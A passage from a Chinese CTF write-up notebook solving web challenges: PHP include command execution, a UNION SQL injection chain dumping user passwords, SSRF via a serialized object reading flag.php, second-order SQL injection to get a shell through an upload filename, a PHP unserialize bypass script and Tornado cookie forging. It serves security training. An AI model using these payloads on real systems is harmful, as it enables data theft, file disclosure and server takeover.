substr函数是因为当数字过大的时候会自动转化为科学计数法,故用这个脚本来规避科学计数法的转换
这题那个limit也需要注意
总结:文件头也可以注入,我们要多多尝试方法,sql注入的payload写法还需要加强
Thirty-ninth Web_php_include
这题很简单,直接大小写绕过就行了,然后
POST: <?php echo `ls` ?>
Fortieth simple_js(未完成)
Fourty-first url
payload: POST: url=data://baidu.com/plain;base64,bjNrMA==
这题还不知道原理,网上也没有解释
Fourty-second fakebook
这题考点是sql注入和SSRF结合
这题首先找到注入点,发现基本没有过滤,选择联合注入的方式进行注入
所有的payload:
/?view.php?no=-1 unio/**/select 1,database(),3,4# fakebook
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ users
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
/view.php?no=-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+ no,username,passwd,data
/view.php?no=-1%20union/**/select%201,group_concat('username','~','passwd','~','data'),3,4 from users#
/view.php?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"harder";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
最后查看源码,点开这个链接即可读取flag
非预期解:
/view.php?no=0 union/**/select 1,load_file(‘/var/www/html/flag.php’),3,4
一,受到参数 secure_file_priv 的影响
查了查资料,因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。
有非预期解法load_file()
Fourty-second filemanager
这题先用dirsearch扫描目录,扫出了一个www.tar.gz下载下来,里面有源码,进行代码审计
发现这两句有可以用的地方,因为观察源码,$result由filename extension组成,而我们接下来要做的事情是把后缀改为空,首先我们上传一个文件
',extension='.png 上传一个文件名为这个的文件之后sql语句就变成了
update `file` set `filename`='{$req['newname']}', `oldname`='',extension='' where `fid`={$result['fid']}
即这个文件的后缀为空了
这里有个关键的地方是,因为我们利用update把extension后缀为空了,但是我们上传在upload里面的文件并没有被改变名字,所以我们还需再次传送一个新的同改后名字的文件,来改文件名字实现GETSHELL,最后拿到flag
如果这里想要FIX,就需要检查一下后缀是否为空了
考点: 二次注入进行getshell
Fourty-third Cat(未完成)
Fourty-forth Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var); //fl4g.php base64_encode
}
} else {
highlight_file("index.php");
}
?>
这题有两个地方需要绕过一个是__wakeup__魔术方法 绕过方法属性+1
第二个是绕过正则表达式if (preg_match(‘/[oc]:\d+:/i’, $var)) 把O:变成O:+
POC脚本:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php'); //创建对象
$C = serialize($A); //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C); //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); //wakeup绕过
var_dump($C);
var_dump(base64_encode($C)); //base64加密
?>
Fourty-fifth easytornado
这题看hint的提示为,故我们要想办法求出cookie的值,因为
/hints.txt
md5(cookie_secret+md5(filename))
error?msg=Error
经过测试,这里存在ssti注入,然后我们现在就需要查询资料cookie的值存在在哪里
这样就能拿到cookie了,然后直接上我的python脚本
import hashlib
target_string = 'fda3f7ef94cc859873401966e09c9a4e'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
return md5_hash
# 20901fa4-e88f-4ada-ba49-489ad9c33db9
print(md5_last5("/fllllllllllllag"))
str = "20901fa4-e88f-4ada-ba49-489ad9c33db9"+md5_last5("/fllllllllllllag")
print(str)
answer = md5_last5(str)
print(answer)